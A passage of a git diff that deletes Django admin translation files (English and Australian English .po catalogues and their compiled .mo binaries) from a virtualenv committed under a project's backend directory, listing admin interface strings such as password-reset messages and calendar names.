-msgstr "" - -#: contrib/admin/templates/admin/submit_line.html:7 -msgid "Save and view" -msgstr "" - -#: contrib/admin/templates/admin/submit_line.html:10 -msgid "Close" -msgstr "" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:11 -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:19 -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:27 -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -#: contrib/admin/templates/admin/widgets/related_widget_wrapper.html:34 -#, python-format -msgid "View selected %(model)s" -msgstr "" - -#: contrib/admin/templates/registration/logged_out.html:10 -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -#: contrib/admin/templates/registration/logged_out.html:12 -msgid "Log in again" -msgstr "" - -#: contrib/admin/templates/registration/password_change_done.html:14 -#: contrib/admin/templates/registration/password_change_form.html:17 -msgid "Password change" -msgstr "" - -#: contrib/admin/templates/registration/password_change_done.html:19 -msgid "Your password was changed." -msgstr "" - -#: contrib/admin/templates/registration/password_change_form.html:32 -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -#: contrib/admin/templates/registration/password_change_form.html:60 -#: contrib/admin/templates/registration/password_reset_confirm.html:38 -msgid "Change my password" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_complete.html:7 -#: contrib/admin/templates/registration/password_reset_done.html:7 -#: contrib/admin/templates/registration/password_reset_form.html:9 -msgid "Password reset" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_complete.html:13 -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_confirm.html:9 -msgid "Password reset confirmation" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_confirm.html:17 -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_confirm.html:25 -msgid "New password:" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_confirm.html:32 -msgid "Confirm password:" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_confirm.html:44 -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_done.html:13 -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_done.html:15 -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_email.html:2 -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_email.html:4 -msgid "Please go to the following page and choose a new password:" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_email.html:8 -msgid "In case you’ve forgotten, you are:" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_email.html:10 -msgid "Thanks for using our site!" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_email.html:12 -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_form.html:15 -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -#: contrib/admin/templates/registration/password_reset_form.html:22 -msgid "Email address:" -msgstr "" - -#: contrib/admin/templates/registration/password_reset_form.html:28 -msgid "Reset my password" -msgstr "" - -#: contrib/admin/templatetags/admin_list.py:101 -msgid "Select all objects on this page for an action" -msgstr "" - -#: contrib/admin/templatetags/admin_list.py:445 -msgid "All dates" -msgstr "" - -#: contrib/admin/views/main.py:148 -#, python-format -msgid "Select %s" -msgstr "" - -#: contrib/admin/views/main.py:150 -#, python-format -msgid "Select %s to change" -msgstr "" - -#: contrib/admin/views/main.py:152 -#, python-format -msgid "Select %s to view" -msgstr "" - -#: contrib/admin/widgets.py:99 -msgid "Date:" -msgstr "" - -#: contrib/admin/widgets.py:100 -msgid "Time:" -msgstr "" - -#: contrib/admin/widgets.py:164 -msgid "Lookup" -msgstr "" - -#: contrib/admin/widgets.py:393 -msgid "Currently:" -msgstr "" - -#: contrib/admin/widgets.py:394 -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 08a7b685..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/djangojs.po deleted file mode 100644 index 8fdbb776..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,379 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -msgid "" -msgstr "" -"Project-Id-Version: Django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2010-05-13 15:35+0200\n" -"Last-Translator: Django team\n" -"Language-Team: English \n" -"Language: en\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" - -#: contrib/admin/static/admin/js/SelectFilter2.js:45 -#, javascript-format -msgid "Available %s" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:49 -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:61 -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:66 -#: contrib/admin/static/admin/js/SelectFilter2.js:123 -msgid "Filter" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:73 -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:84 -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:91 -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:102 -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:106 -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:118 -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:139 -msgid "(click to clear)" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:143 -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#: contrib/admin/static/admin/js/SelectFilter2.js:236 -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/static/admin/js/actions.js:67 -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/static/admin/js/actions.js:161 -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -#: contrib/admin/static/admin/js/actions.js:174 -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -#: contrib/admin/static/admin/js/actions.js:175 -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:13 -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:110 -msgid "Now" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:14 -msgid "Midnight" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:15 -msgid "6 a.m." -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:16 -msgid "Noon" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:17 -msgid "6 p.m." -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:78 -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:86 -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:128 -msgid "Choose a Time" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:158 -msgid "Choose a time" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:175 -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:333 -msgid "Cancel" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:238 -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:318 -msgid "Today" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:255 -msgid "Choose a Date" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:312 -msgid "Yesterday" -msgstr "" - -#: contrib/admin/static/admin/js/admin/DateTimeShortcuts.js:324 -msgid "Tomorrow" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:11 -msgid "January" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:12 -msgid "February" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:13 -msgid "March" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:14 -msgid "April" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:15 -msgid "May" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:16 -msgid "June" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:17 -msgid "July" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:18 -msgid "August" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:19 -msgid "September" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:20 -msgid "October" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:21 -msgid "November" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:22 -msgid "December" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:25 -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:26 -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:27 -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:28 -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:29 -msgctxt "abbrev. month May" -msgid "May" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:30 -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:31 -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:32 -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:33 -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:34 -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:35 -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:36 -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:39 -msgid "Sunday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:40 -msgid "Monday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:41 -msgid "Tuesday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:42 -msgid "Wednesday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:43 -msgid "Thursday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:44 -msgid "Friday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:45 -msgid "Saturday" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:48 -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:49 -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:50 -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:51 -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:52 -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:53 -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:54 -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:57 -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:58 -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:59 -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:60 -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:61 -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:62 -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -#: contrib/admin/static/admin/js/calendar.js:63 -msgctxt "one letter Saturday" -msgid "S" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/django.mo deleted file mode 100644 index c86ec5d0..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/django.po deleted file mode 100644 index dfe62a07..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/django.po +++ /dev/null @@ -1,724 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Tom Fifield , 2014 -# Tom Fifield , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-09-22 07:21+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: English (Australia) (http://www.transifex.com/django/django/" -"language/en_AU/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: en_AU\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Delete selected %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Successfully deleted %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Cannot delete %(name)s" - -msgid "Are you sure?" -msgstr "Are you sure?" - -msgid "Administration" -msgstr "Administration" - -msgid "All" -msgstr "All" - -msgid "Yes" -msgstr "Yes" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Unknown" - -msgid "Any date" -msgstr "Any date" - -msgid "Today" -msgstr "Today" - -msgid "Past 7 days" -msgstr "Past 7 days" - -msgid "This month" -msgstr "This month" - -msgid "This year" -msgstr "This year" - -msgid "No date" -msgstr "No date" - -msgid "Has date" -msgstr "Has date" - -msgid "Empty" -msgstr "Empty" - -msgid "Not empty" -msgstr "Not empty" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." - -msgid "Action:" -msgstr "Action:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Add another %(verbose_name)s" - -msgid "Remove" -msgstr "Remove" - -msgid "Addition" -msgstr "Addition" - -msgid "Change" -msgstr "Change" - -msgid "Deletion" -msgstr "Deletion" - -msgid "action time" -msgstr "action time" - -msgid "user" -msgstr "user" - -msgid "content type" -msgstr "content type" - -msgid "object id" -msgstr "object id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "object repr" - -msgid "action flag" -msgstr "action flag" - -msgid "change message" -msgstr "change message" - -msgid "log entry" -msgstr "log entry" - -msgid "log entries" -msgstr "log entries" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Added “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Changed “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Deleted “%(object)s.”" - -msgid "LogEntry Object" -msgstr "LogEntry Object" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Added {name} “{object}”." - -msgid "Added." -msgstr "Added." - -msgid "and" -msgstr "and" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Changed {fields} for {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Changed {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Deleted {name} “{object}”." - -msgid "No fields changed." -msgstr "No fields changed." - -msgid "None" -msgstr "None" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Hold down “Control”, or “Command” on a Mac, to select more than one." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "The {name} “{obj}” was added successfully." - -msgid "You may edit it again below." -msgstr "You may edit it again below." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"The {name} “{obj}” was added successfully. You may add another {name} below." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"The {name} “{obj}” was changed successfully. You may edit it again below." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"The {name} “{obj}” was added successfully. You may edit it again below." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "The {name} “{obj}” was changed successfully." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." - -msgid "No action selected." -msgstr "No action selected." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "The %(name)s “%(obj)s” was deleted successfully." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" - -#, python-format -msgid "Add %s" -msgstr "Add %s" - -#, python-format -msgid "Change %s" -msgstr "Change %s" - -#, python-format -msgid "View %s" -msgstr "View %s" - -msgid "Database error" -msgstr "Database error" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s was changed successfully." -msgstr[1] "%(count)s %(name)s were changed successfully." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selected" -msgstr[1] "All %(total_count)s selected" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 of %(cnt)s selected" - -#, python-format -msgid "Change history: %s" -msgstr "Change history: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django site admin" - -msgid "Django administration" -msgstr "Django administration" - -msgid "Site administration" -msgstr "Site administration" - -msgid "Log in" -msgstr "Log in" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administration" - -msgid "Page not found" -msgstr "Page not found" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "We’re sorry, but the requested page could not be found." - -msgid "Home" -msgstr "Home" - -msgid "Server error" -msgstr "Server error" - -msgid "Server error (500)" -msgstr "Server error (500)" - -msgid "Server Error (500)" -msgstr "Server Error (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." - -msgid "Run the selected action" -msgstr "Run the selected action" - -msgid "Go" -msgstr "Go" - -msgid "Click here to select the objects across all pages" -msgstr "Click here to select the objects across all pages" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Select all %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Clear selection" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Models in the %(name)s application" - -msgid "Add" -msgstr "Add" - -msgid "View" -msgstr "View" - -msgid "You don’t have permission to view or edit anything." -msgstr "You don’t have permission to view or edit anything." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." - -msgid "Enter a username and password." -msgstr "Enter a username and password." - -msgid "Change password" -msgstr "Change password" - -msgid "Please correct the error below." -msgstr "Please correct the error below." - -msgid "Please correct the errors below." -msgstr "Please correct the errors below." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Enter a new password for the user %(username)s." - -msgid "Welcome," -msgstr "Welcome," - -msgid "View site" -msgstr "View site" - -msgid "Documentation" -msgstr "Documentation" - -msgid "Log out" -msgstr "Log out" - -#, python-format -msgid "Add %(name)s" -msgstr "Add %(name)s" - -msgid "History" -msgstr "History" - -msgid "View on site" -msgstr "View on site" - -msgid "Filter" -msgstr "Filter" - -msgid "Clear all filters" -msgstr "Clear all filters" - -msgid "Remove from sorting" -msgstr "Remove from sorting" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sorting priority: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Toggle sorting" - -msgid "Delete" -msgstr "Delete" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" - -msgid "Objects" -msgstr "Objects" - -msgid "Yes, I’m sure" -msgstr "Yes, I’m sure" - -msgid "No, take me back" -msgstr "No, take me back" - -msgid "Delete multiple objects" -msgstr "Delete multiple objects" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" - -msgid "Delete?" -msgstr "Delete?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " By %(filter_title)s " - -msgid "Summary" -msgstr "Summary" - -msgid "Recent actions" -msgstr "Recent actions" - -msgid "My actions" -msgstr "My actions" - -msgid "None available" -msgstr "None available" - -msgid "Unknown content" -msgstr "Unknown content" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"You are authenticated as %(username)s, but are not authorised to access this " -"page. Would you like to login to a different account?" - -msgid "Forgotten your password or username?" -msgstr "Forgotten your password or username?" - -msgid "Toggle navigation" -msgstr "Toggle navigation" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Date/time" - -msgid "User" -msgstr "User" - -msgid "Action" -msgstr "Action" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." - -msgid "Show all" -msgstr "Show all" - -msgid "Save" -msgstr "Save" - -msgid "Popup closing…" -msgstr "Popup closing…" - -msgid "Search" -msgstr "Search" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s result" -msgstr[1] "%(counter)s results" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Save as new" - -msgid "Save and add another" -msgstr "Save and add another" - -msgid "Save and continue editing" -msgstr "Save and continue editing" - -msgid "Save and view" -msgstr "Save and view" - -msgid "Close" -msgstr "Close" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Change selected %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Add another %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Delete selected %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "Log in again" - -msgid "Password change" -msgstr "Password change" - -msgid "Your password was changed." -msgstr "Your password was changed." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." - -msgid "Change my password" -msgstr "Change my password" - -msgid "Password reset" -msgstr "Password reset" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Your password has been set. You may go ahead and log in now." - -msgid "Password reset confirmation" -msgstr "Password reset confirmation" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." - -msgid "New password:" -msgstr "New password:" - -msgid "Confirm password:" -msgstr "Confirm password:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Please go to the following page and choose a new password:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Your username, in case you’ve forgotten:" - -msgid "Thanks for using our site!" -msgstr "Thanks for using our site!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "The %(site_name)s team" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." - -msgid "Email address:" -msgstr "Email address:" - -msgid "Reset my password" -msgstr "Reset my password" - -msgid "All dates" -msgstr "All dates" - -#, python-format -msgid "Select %s" -msgstr "Select %s" - -#, python-format -msgid "Select %s to change" -msgstr "Select %s to change" - -#, python-format -msgid "Select %s to view" -msgstr "Select %s to view" - -msgid "Date:" -msgstr "Date:" - -msgid "Time:" -msgstr "Time:" - -msgid "Lookup" -msgstr "Lookup" - -msgid "Currently:" -msgstr "Currently:" - -msgid "Change:" -msgstr "Change:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.mo 